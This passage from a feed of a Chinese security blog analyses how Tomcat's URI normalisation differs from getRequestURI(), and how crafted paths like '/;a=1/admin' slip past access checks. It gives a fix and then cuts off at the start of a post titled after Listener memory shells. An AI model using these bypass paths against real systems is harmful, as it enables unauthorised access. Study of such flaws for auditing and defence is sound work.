class="blockquote_info js_blockquote_source" data-json="%7B%22type%22%3A%22out%22%2C%22source%22%3A%22url%22%2C%22digest%22%3A%22%3Cp%3E%E5%8E%9F%E6%96%87%E9%A6%96%E5%8F%91%E4%BA%8E%E5%AE%89%E5%85%A8%E5%AE%A2%26nbsp%3B-%26nbsp%3B%E5%AE%89%E5%85%A8%E8%B5%84%E8%AE%AF%E5%B9%B3%E5%8F%B0%3C%2Fp%3E%22%2C%22digestLen%22%3A17%2C%22text%22%3A%22%22%2C%22article%22%3A%7B%7D%2C%22hasReportOverSize%22%3Afalse%2C%22editorReportData%22%3A%5B%7B%22id%22%3A%22122333%22%2C%22key%22%3A%2276%22%2C%22len%22%3A1%7D%5D%2C%22from%22%3A%22https%3A%2F%2Fwww.anquanke.com%2Fpost%2Fid%2F230238%22%7D"><span class="blockquote_other"><a href="https://www.anquanke.com/post/id/230238" target="_blank">https://www.anquanke.com/post/id/230238</a></span></section></blockquote><p style="text-align: center;"><span style="letter-spacing: 1px;"><strong style="text-align: center;text-indent: 34px;white-space: normal;font-size: 15px;"><span style="font-family: 黑体;"><br/></span></strong></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.6" data-s="300,640" style="" data-type="jpeg" data-w="690" src="https://wechat2rss.xlab.app/img-proxy/?k=2220b346&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F1oVoayJic3GzgUOCIQKD9mxktxSq2RchjGoJlBetjibVgqPKhZhemaZEAflg7Z8HYGwicUXPBZuX7icysiclydz1VhQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: center;"><span style="text-align: center;font-size: 14px;letter-spacing: 1px;">（图自喜欢的古风插画家<img data-ratio="1" style="display: inline-block;width: 20px;vertical-align: text-bottom;" data-type="png" data-w="20" src="https://wechat2rss.xlab.app/img-proxy/?k=b6dbc917&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzZWlHx7FzZibeAnYkkoYKqgF9JSnDeMUeEm0TF4FyXIo6dySZ0Jt4Du8SCfoG7IlQFvYicZLAt249A%2F640%3Fwx_fmt%3Dpng"/>：微博@</span><span style="letter-spacing: 1px;"><span style="text-align: center;font-family: Arial, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 14px;color: rgb(121, 123, 170);">伊吹鸡腿子</span><span style="text-align: center;font-size: 14px;"> ）</span><strong style="text-align: center;text-indent: 34px;white-space: normal;font-size: 15px;"></strong><br/></span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p><br/></p><section data-mpa-template="t" mpa-from-tpl="t"><section style="padding:1px 5px;font-size:14px;white-space:normal;" mpa-from-tpl="t"><section style="width:252px;margin-top:2em;margin-right:auto;margin-left:auto;padding-top:0.5em;padding-bottom:0.5em;border-top:1px solid rgb(204, 204, 204);color:rgb(166, 166, 166);" mpa-from-tpl="t"><section style="margin-top:-1em;text-align:center;line-height:1em;" mpa-from-tpl="t"><span style="color: rgb(23, 54, 93);padding: 4px 8px;height: 18px;border-left: 1px solid rgb(204, 204, 204);border-right: 1px solid rgb(204, 204, 204);background-color: rgb(255, 255, 255);letter-spacing: 1px;"><strong>声明</strong> </span></section></section></section></section><p><br/></p><p style="white-space: normal;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: 25.5px;"><span style="font-size: 15px;color: rgb(121, 123, 170);font-family: 宋体;letter-spacing: 1px;">  <span style="font-size: 15px;color: rgb(121, 123, 170);font-family: 宋体;letter-spacing: normal;">由于传播或利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，此文仅作交流学习用途。</span></span></p><p style="white-space: normal;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: 25.5px;"><span style="font-family: 宋体;font-size: 15px;letter-spacing: 1px;"> </span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><section data-mpa-template="t" mpa-from-tpl="t"><section mpa-from-tpl="t" style="padding: 1px 5px;font-size: 14px;white-space: normal;"><section mpa-from-tpl="t" style="margin-top: 2em;margin-right: auto;margin-left: auto;padding-top: 0.5em;padding-bottom: 0.5em;width: 252px;border-top: 1px solid rgb(204, 204, 204);color: rgb(166, 166, 166);"><p style="margin-top: -1em;text-align: center;line-height: 1em;"><span style="padding: 4px 8px;color: rgb(23, 54, 93);height: 18px;border-left: 1px solid rgb(204, 204, 204);border-right: 1px solid rgb(204, 204, 204);background-color: rgb(255, 255, 255);letter-spacing: 1px;"><br/></span></p><p style="margin-top: -1em;text-align: center;line-height: 1em;"><span style="padding: 4px 8px;color: rgb(23, 54, 93);height: 18px;border-left: 1px solid rgb(204, 204, 204);border-right: 1px solid rgb(204, 204, 204);background-color: rgb(255, 255, 255);letter-spacing: 1px;"><strong>提要</strong></span></p></section></section></section><p><br/></p><p style="text-align: left;"><span style="font-family: 等线;font-size: 14px;letter-spacing: 1px;">     Hello，客官们好久不见，最近琐事缠身，也是抽空对Tomcat这个基础特性，做了点小分析。</span></p><p style="text-align: left;"><span style="font-family: 等线;font-size: 14px;letter-spacing: 1px;">    回归正题，在日常代码审计的过程中发现Tomcat原生javax.servlet.http.HttpServletRequest类提供的getRequestURI()方法，在解析请求时若使用不当，可以绕过访问控制，导致未授权访问。</span></p><p style="text-align: left;"><span style="font-family: 等线;font-size: 14px;letter-spacing: 1px;">    事实上，Tomcat在解析请求路径时，会自行修正路径，并使用修正后的路径来匹配对应的Servlet，然而，在路径需要修正的情况下，Tomcat自行修正后得到的URI路径跟使用getRequestURI方法得到的URI路径不一致，因而在我们去对请求路径做权限访问控制时，容易导致绕过。</span></p><p style="text-align: left;"><span style="font-family: 等线;font-size: 14px;letter-spacing: 1px;">    ok，前情提要浅尝辄止，接下来，上号！</span><span style="font-family: 等线;font-size: 14px;letter-spacing: 2px;"></span></p><p><br mpa-from-tpl="t"/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.6379928315412187" data-s="300,640" style="" data-type="png" data-w="558" src="https://wechat2rss.xlab.app/img-proxy/?k=0979466f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzgUOCIQKD9mxktxSq2Rchjv3BgCNG17sibQKgejZwvzoYETCwGrOxNjDSuSdmyWKmLEGdibauVDkIw%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: center;"><br/></p><section data-mpa-template="t" mpa-from-tpl="t" style="white-space: normal;"><section mpa-from-tpl="t" style="padding: 1px 5px;font-size: 14px;"><section mpa-from-tpl="t" style="margin-top: 2em;margin-right: auto;margin-left: auto;padding-top: 0.5em;padding-bottom: 0.5em;width: 252px;border-top: 1px solid rgb(204, 204, 204);color: rgb(166, 166, 166);"><p style="margin-top: -1em;text-align: center;line-height: 1em;"><span style="padding: 4px 8px;color: rgb(23, 54, 93);height: 18px;border-left: 1px solid rgb(204, 204, 204);border-right: 1px solid rgb(204, 204, 204);background-color: rgb(255, 255, 255);letter-spacing: 1px;"> <strong>URI解析特性</strong></span></p></section></section></section><p style="text-align: center;"><span style="text-align: center;font-size: 14px;letter-spacing: 1px;"><br/></span></p><p style="text-align: left;"><span style="font-family: 等线;font-size: 14px;letter-spacing: 1px;">     这次换个思路，逆流而上，Tomcat是根据什么来匹配对应的Servlet，回顾先前文章，涉及流的解析与对象封装，那就是Tomcat架构中Connector连接器与Container容器的桥梁org.apache.catalina.connector.CoyoteAdapter#prepare方法，在那里新建和封装Request和Response对象，并最终在postParseRequest方法的this.connector.getService().getMapper().map()中完成对Servlet的绑定。</span></p><p style="text-align: left;"><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-cropselx1="13" data-cropselx2="566" data-cropsely1="0" data-cropsely2="98" data-ratio="0.12140077821011673" data-s="300,640" style="width: 578px;height: 70px;" data-type="png" data-w="1285" src="https://wechat2rss.xlab.app/img-proxy/?k=5e912481&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3Gz9CDRh1LTua1UDOF3IhayhGFeug4qvTgO44hW45MIDvZuCGXBplsliaCuKJ3SnvgrowUOpmQtbemg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="letter-spacing: 1px;text-align: justify;font-family: 等线;font-size: 14px;">    阿~是decodedURI，后面是根据decodeURI来匹配Servlet的，现在我们去追溯一下decodedURI。适配器CoyoteAdapter作为桥梁，首先被调用Prepare方法，在其中新建Request及Response对象，并调用postParseRequest方法对Request对象完成数据封装。</span></p><p style="text-align: left;"><span style="font-size: 14px;text-align: justify;letter-spacing: 1px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-cropselx1="0" data-cropselx2="558" data-cropsely1="0" data-cropsely2="92" data-ratio="0.16493955094991364" data-s="300,640" style="width: 558px;height: 92px;" data-type="png" data-w="1158" src="https://wechat2rss.xlab.app/img-proxy/?k=690b1b42&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3Gz9CDRh1LTua1UDOF3IhayhVNzMu9Ms09n42hvsp1w9zE9LdMtw4AzKXiavc7Pc6yFh14TRUITT5Gg%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family: 等线;font-size: 14px;letter-spacing: 1px;">    看函数名识别函数作用，进入postParseRequest方法，该方法会对请求所使用的协议、请求方式等进行判断，并一一封装入Request对象中，略过，直捣黄龙。</span></p><p style="text-align: left;"><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-cropselx1="1" data-cropselx2="555" data-cropsely1="0" data-cropsely2="317" data-ratio="0.5714285714285714" data-s="300,640" style="width: 555px;height: 317px;" data-type="png" data-w="1176" src="https://wechat2rss.xlab.app/img-proxy/?k=fd7be530&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3Gz9CDRh1LTua1UDOF3Ihayho4FtmHXcdNJlaVqG1YckFxjMqk4KwicMf4rHXQxwibYeMGZgPGsyfTnQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family: 等线;font-size: 14px;letter-spacing: 1px;">    decodeURI从req,decodedURI()中取出，刚取出时为null，(由于undecodedURI的Type为2时指代bytes类型，满足if条件)，随后进入if逻辑，通过duplicate(复制)，复制得到了undecodedURI的值。这里调试时，访问的地址为“/t***/;abc/index.jsp”。随后进入parsePathParameters方法，进一步解析URI。</span></p><p style="text-autospace:ideograph-numeric;"><span style="font-size: 14px;letter-spacing: 1px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-cropselx1="0" data-cropselx2="554" data-cropsely1="0" data-cropsely2="306" data-ratio="0.5523210070810386" data-s="300,640" style="width: 554px;height: 306px;" data-type="png" data-w="1271" src="https://wechat2rss.xlab.app/img-proxy/?k=28948f6e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3Gz9CDRh1LTua1UDOF3Ihayh8mAuMs2l5ohT78PupYNuhsfpYSJakJ9cfACfAEYjbnylmCX4iahEDfA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-autospace:ideograph-numeric;"><br/></p><p><span style="font-family: 等线;font-size: 14px;letter-spacing: 1px;">    举一个例子说明处理流程，比方说访问的URI为/t/;a=1;b=2/./../index.jsp。</span></p><p><span style="letter-spacing: 1px;font-family: 等线;font-size: 14px;">    首先根据分号来进行分割，分割出A部分和B部分 </span></p><p style="text-autospace:ideograph-numeric;"><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"><span style="letter-spacing: 1px;">        A部分:&#34;/t/&#34;</span></span></code><code><span class="code-snippet_outer"><span style="letter-spacing: 1px;">        B部分:&#34;a=1;b=2/./../index.jsp&#34;</span></span></code></pre></section><p style="text-autospace:ideograph-numeric;"><br/></p><p><span style="font-family: 等线;font-size: 14px;letter-spacing: 1px;">    然后查找B部分中，第一个分号的下标，分割出pathVariables简称pv(路径参数)以及C部分。</span></p><p style="text-autospace:ideograph-numeric;"><br/></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"><span style="letter-spacing: 1px;">        pv部分:&#34;a=1&#34;</span></span></code><code><span class="code-snippet_outer"><span style="letter-spacing: 1px;">        C部分:&#34;;b=2/./../index.jsp&#34;</span></span></code></pre></section><p style="text-autospace:ideograph-numeric;"><br/></p><p><span style="font-family: 等线;font-size: 14px;letter-spacing: 1px;">    将A部分与C部分进行拼接得到D部分</span></p><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"><span style="letter-spacing: 1px;">        D部分:&#34;/t/;b=2/./../index.jsp&#34;</span></span></code></pre></section><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-cropselx1="0" data-cropselx2="555" data-cropsely1="0" data-cropsely2="147" data-ratio="0.2648809523809524" data-s="300,640" style="width: 555px;height: 147px;" data-type="png" data-w="1344" src="https://wechat2rss.xlab.app/img-proxy/?k=134b22c5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3Gz9CDRh1LTua1UDOF3IhayhNB88VR5OUAyBiahWFW3VhCC9TYKpl06DPHdqBkUGqriasQR42BbAtryg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-autospace:ideograph-numeric;"><br/></p><p><span style="font-family: 等线;font-size: 14px;letter-spacing: 1px;">    而每次分割得到的pv，会判断是否含有等于号，含有则被保存为pathParameters，因此上述最终得到pathParameters={“a”:”1”, ”b”:”2”}，没有等于号，则直接忽略pv。</span></p><p><span style="font-family: 等线;font-size: 14px;letter-spacing: 1px;">    重复以上流程，直到分割后的第二部分不存在分号，最后得到/t//./../index.jsp</span></p><p style="text-autospace:ideograph-numeric;"><span style="font-size: 14px;letter-spacing: 1px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-cropselx1="1" data-cropselx2="555" data-cropsely1="0" data-cropsely2="317" data-ratio="0.5714285714285714" data-s="300,640" style="width: 555px;height: 317px;" data-type="png" data-w="1176" src="https://wechat2rss.xlab.app/img-proxy/?k=fd7be530&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3Gz9CDRh1LTua1UDOF3Ihayho4FtmHXcdNJlaVqG1YckFxjMqk4KwicMf4rHXQxwibYeMGZgPGsyfTnQ%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><br/></p><p style="text-align: left;"><span style="font-family: 等线;font-size: 14px;letter-spacing: 1px;">    到这里，parsePathParameters(req, request)就完成了，然后进入602行req.getURLDecoder().convert(decodedURI, false)，完成URL编码解析，再之后进入607行normalize(req.decodedURI())方法，该方法顾名思义用于规范化URI，会对URI进行进一步的修正。</span></p><p style="text-align: left;"><span style="letter-spacing: 1px;font-family: 等线;font-size: 14px;">    normalize方法主要有四个修正行为，一一列举。</span></p><p style="text-autospace:ideograph-numeric;"><span style="font-size: 14px;letter-spacing: 1px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.43862815884476536" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=18ca83ba&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzgUOCIQKD9mxktxSq2Rchjg3aBDtqxtRmVADKjSYg4qrEoO4Pm7SicgDMJtljVrBibPK5HiatzQ3mEQ%2F640%3Fwx_fmt%3Dpng"/></p><p><span style="font-family: 等线;font-size: 14px;letter-spacing: 1px;">    反斜杠Ascii码为“92”，将URI中所有的“\”修正为“/”</span></p><p style="text-autospace:ideograph-numeric;"><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.30144404332129965" data-s="300,640" style="" data-type="png" data-w="554" src="https://wechat2rss.xlab.app/img-proxy/?k=2c0b1d92&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzgUOCIQKD9mxktxSq2Rchj9T4VdeSBsPZopSgtsu3MY13sCMmnfFEbfxGsgEB9zegByS5Xs5lykg%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><span style="font-family: 等线;font-size: 14px;letter-spacing: 1px;">    斜杠的Ascii码为“47”，将URI中紧邻的两个斜杠修正为一个斜杠，形如“/t//./../index.jsp”修正为“/t/./../index.jsp”</span></p><p style="text-autospace:ideograph-numeric;"><span style="font-size: 14px;letter-spacing: 1px;"><br/></span></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-cropselx1="0" data-cropselx2="554" data-cropsely1="0" data-cropsely2="434" data-ratio="0.783695652173913" data-s="300,640" style="width: 554px;height: 434px;" data-type="png" data-w="920" src="https://wechat2rss.xlab.app/img-proxy/?k=73447ee3&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3Gz9CDRh1LTua1UDOF3Ihayh8Jtydbh0FENS9NNb1kEVJEc6XALSG3bicZGec7OaiafK73yhEA0jlPnA%2F640%3Fwx_fmt%3Dpng"/></p><p style="text-align: left;"><br/></p><p style="margin-top:0;margin-right:0;margin-bottom:0;margin-left:0;text-indent:0;padding:0 0 0 0;text-align:left;"><span style="font-family: 等线;font-size: 14px;letter-spacing: 1px;">    第三和第四合并说明，首先修正URI中的“/./”，例如将“/t/./../index.jsp”修正为”/t/../index.jsp”,随后，解析“/../”进行URI路径跳跃，例如将“/t/../index.jsp”最终解析为“/index.jsp”。</span></p><p style="margin-top:0;margin-right:0;margin-bottom:0;margin-left:0;text-indent:0;padding:0 0 0 0;text-align:left;"><span style="font-family: 等线;font-size: 14px;letter-spacing: 1px;">    综上，normalize()方法结束后，Tomcat对于当前请求的URI已经解析完毕，并保存在变量decodedURI中，并最终交由this.connector.getService().getMapper().map(serverName, decodedURI, version, request.getMappingData());根据decodedURI来匹配对应的Servlet。</span></p><p style="margin-top:0;margin-right:0;margin-bottom:0;margin-left:0;text-indent:0;padding:0 0 0 0;text-align:left;"><span style="font-family: 等线;font-size: 14px;letter-spacing: 1px;">    而我们原本访问的URI“/t/;a=1;b=2/./../index.jsp”则保存在Coyote.Request实例的uriMB当中。</span></p><p><br/></p><section data-mpa-template="t" mpa-from-tpl="t" style="white-space: normal;"><section mpa-from-tpl="t" style="padding: 1px 5px;font-size: 14px;"><section mpa-from-tpl="t" style="margin-top: 2em;margin-right: auto;margin-left: auto;padding-top: 0.5em;padding-bottom: 0.5em;width: 252px;border-top: 1px solid rgb(204, 204, 204);color: rgb(166, 166, 166);"><p style="margin-top: -1em;text-align: center;line-height: 1em;"><span style="padding: 4px 8px;color: rgb(23, 54, 93);height: 18px;border-left: 1px solid rgb(204, 204, 204);border-right: 1px solid rgb(204, 204, 204);background-color: rgb(255, 255, 255);letter-spacing: 1px;"> <strong>利用场景</strong></span></p></section></section></section><p style="white-space: normal;"><br/></p><p style="text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);letter-spacing: 1px;">    对于各种业务系统而言，理所应当会存在多用户多角色的访问控制，具体表现在是否有足够的权限去调用后端的接口，而实现访问控制很重要的前提就是通过用户当前请求的路径来进行判断匹配。</span></p><p style="text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);letter-spacing: 1px;">    打个比方说，用户test，不可以访问“/admin”接口，从业务代码实现起来，就是判断用户test当前访问的URI是否等价于&#34;/admin&#34;,如果等价，则响应401权限不足。</span></p><p style="text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);letter-spacing: 1px;"><br/></span></p><p style="text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);letter-spacing: 1px;">    这里边的问题是什么呢？仍有部分开发者，习惯地通过HttpServletRequest.getRequestURI()的方式，来获取当前请求的URI。承接前面我们的分析，补充一下，该方法事实上是返回了Coyote.Request中的uriMB，也就是没有经过Tomcat修正的URI，因此可能会产生这么一种情况：用户test访问的URI经过修正后，实际访问的是“/admin”,但后端使用getRequestURI()方法得到的URI跟“/admin”不等价，结合上面分析举个例子，很容易明白：“/;/admin”、“/;a/admin”、“/;a=1/admin”</span></p><p style="text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;color: rgb(0, 0, 0);letter-spacing: 1px;">    以上三个路径跟&#34;/admin&#34;无法等价，但经Tomcat修正后，访问的却恰恰是“/admin”。</span></p><p><span style="font-family: 等线;font-size: 14px;letter-spacing: 1px;"> </span></p><section data-mpa-template="t" mpa-from-tpl="t" style="white-space: normal;"><section mpa-from-tpl="t" style="padding: 1px 5px;font-size: 14px;"><section mpa-from-tpl="t" style="margin-top: 2em;margin-right: auto;margin-left: auto;padding-top: 0.5em;padding-bottom: 0.5em;width: 252px;border-top: 1px solid rgb(204, 204, 204);color: rgb(166, 166, 166);"><p style="margin-top: -1em;text-align: center;line-height: 1em;"><span style="padding: 4px 8px;color: rgb(23, 54, 93);height: 18px;border-left: 1px solid rgb(204, 204, 204);border-right: 1px solid rgb(204, 204, 204);background-color: rgb(255, 255, 255);letter-spacing: 1px;"> <strong>修复方案及延伸</strong></span></p></section></section></section><section class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"><li></li></ul><pre class="code-snippet__js" data-lang="javascript"><code><span class="code-snippet_outer"><span class="code-snippet__built_in">String</span> uri = request.getContextPath() + request.getServletPath();</span></code></pre></section><p style="text-autospace:ideograph-numeric;"><span style="font-family: 等线;font-size: 14px;letter-spacing: 1px;">    不同的框架可能在资源解析中各有差异，就像先前Spring与Shiro之间的解析差异产生的未授权访问，因此日常审计也可以多留心这条思路。</span></p><p style="text-autospace:ideograph-numeric;"><span style="font-size: 14px;letter-spacing: 1px;font-family: 等线;">    从修复漏洞，抵御风险，提高系统安全性的角度来说，需尽保证关键数据、关键对象，传递和使用的一致性，以免岔路。</span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-autospace:ideograph-numeric;"><span style="letter-spacing: 1px;"><br/></span></p><hr style="border-style: solid;border-width: 1px 0 0;border-color: rgba(0,0,0,0.1);-webkit-transform-origin: 0 0;-webkit-transform: scale(1, 0.5);transform-origin: 0 0;transform: scale(1, 0.5);"/><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5994962216624685" data-s="300,640" style="" data-type="jpeg" data-w="1191" src="https://wechat2rss.xlab.app/img-proxy/?k=ec8ebb50&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F1oVoayJic3GzgUOCIQKD9mxktxSq2RchjY0iciboSRQClkRibyswflq34fCZK8OibFHbOyXluu8TO6uEtIfc8hFIuDQ%2F640%3Fwx_fmt%3Djpeg"/></p><p style="white-space: normal;"><br/></p>



<p><a href="2247483972">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=3a4e2180&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzk0NDE4MTI2MQ%3D%3D%26mid%3D2247483972%26idx%3D1%26sn%3Dfda0f4ff198fcbec1428e016c5a0d628%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Mon, 08 Feb 2021 13:00:00 +0800</pubDate>
    </item>
    <item>
      <title>Tomcat容器攻防笔记之Listener内存马</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzk0NDE4MTI2MQ==&amp;mid=2247483928&amp;idx=1&amp;sn=f1e9e8fa8f31982fa906422492c17474</link>
      <description>“少年的梦发烫，晒过月与太阳，随风自生自长”</description>
      <content:encoded><![CDATA[<p>
原创 <span>鲸落</span> <span>2021-01-03 21:33</span> <span style="display: inline-block;"></span>
</p>

<p>“少年的梦发烫，晒过月与太阳，随风自生自长”</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=4b2fcb9f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F1oVoayJic3GwSeZX2l1Q8hedIVqP08LvDia7U7LlIpH52s5Wl5BJ7lg6WiafkvC7IAMlbP0DmOXRPlpCUTXqw58dw%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<section style="text-align: center;text-indent: 0em;"><strong style="text-align: center;text-indent: 34px;white-space: normal;font-size: 15px;"><span style="font-family: 黑体;">欢迎光临鲸落的杂货铺</span></strong><strong style="text-align: center;text-indent: 34px;white-space: normal;font-size: 15px;"><span style="font-family: 黑体;"><img data-ratio="1" style="display: inline-block;width: 20px;vertical-align: text-bottom;" data-type="png" data-w="20" src="https://wechat2rss.xlab.app/img-proxy/?k=6b9b21f5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzBcz4Q1EHyicB3mWv2HibyF1BibhCxcSH5y2628QmvqnWb0soxI7mRmItc4VzJ1hmNibEMypKw30Nc4g%2F640%3Fwx_fmt%3Dpng"/></span></strong></section><blockquote class="js_blockquote_wrap" data-type="2" data-url="" data-author-name="" data-content-utf8-length="17" data-source-title="https://www.anquanke.com/post/id/226769"><section class="js_blockquote_digest"><p>原文首发于安全客 - 安全资讯平台</p></section><section class="blockquote_info js_blockquote_source" data-json="%7B%22type%22%3A%22out%22%2C%22source%22%3A%22url%22%2C%22digest%22%3A%22%3Cp%3E%E5%8E%9F%E6%96%87%E9%A6%96%E5%8F%91%E4%BA%8E%E5%AE%89%E5%85%A8%E5%AE%A2%26nbsp%3B-%26nbsp%3B%E5%AE%89%E5%85%A8%E8%B5%84%E8%AE%AF%E5%B9%B3%E5%8F%B0%3C%2Fp%3E%22%2C%22digestLen%22%3A17%2C%22text%22%3A%22%22%2C%22article%22%3A%7B%7D%2C%22hasReportOverSize%22%3Afalse%2C%22editorReportData%22%3A%5B%7B%22id%22%3A%22122333%22%2C%22key%22%3A%2276%22%2C%22len%22%3A1%7D%5D%2C%22from%22%3A%22https%3A%2F%2Fwww.anquanke.com%2Fpost%2Fid%2F226769%22%7D"><span class="blockquote_other"><a href="https://www.anquanke.com/post/id/226769" target="_blank">https://www.anquanke.com/post/id/226769</a></span></section></blockquote><p style="text-align: center;"><br/></p><p style="text-align: center;"><img class="rich_pages js_insertlocalimg" data-ratio="0.5995297805642633" data-s="300,640" style="" data-type="jpeg" data-w="1276" src="https://wechat2rss.xlab.app/img-proxy/?k=c761a6ab&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F1oVoayJic3GwSeZX2l1Q8hedIVqP08LvDaSBicib7rAmbzaFntD2iasoD7403yV48SVmtLu2UQ9oRmFYUfkvHBWpnA%2F640%3Fwx_fmt%3Djpeg"/></p><p style="text-align: center;"><span style="text-align: center;font-size: 14px;">（图自喜欢的古风插画家<img data-ratio="1" style="display: inline-block;width: 20px;vertical-align: text-bottom;" data-type="png" data-w="20" src="https://wechat2rss.xlab.app/img-proxy/?k=b6dbc917&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F1oVoayJic3GzZWlHx7FzZibeAnYkkoYKqgF9JSnDeMUeEm0TF4FyXIo6dySZ0Jt4Du8SCfoG7IlQFvYicZLAt249A%2F640%3Fwx_fmt%3Dpng"/>：微博@</span><span style="text-align: center;font-family: Arial, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei&#34;, &#34;WenQuanYi Micro Hei&#34;, sans-serif;font-size: 14px;color: rgb(121, 123, 170);">伊吹鸡腿子</span><span style="text-align: center;font-size: 14px;"> ）</span><br/></p><p style="text-align: center;"><span style="text-align: center;font-size: 14px;"><br/></span></p><h6 style="white-space: normal;max-width: 100%;font-family: -apple-system-font, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: 24px;text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-size: 15px;color: rgb(54, 41, 47);box-sizing: border-box !important;overflow-wrap: break-word !important;"><strong style="max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="max-width: 100%;font-family: 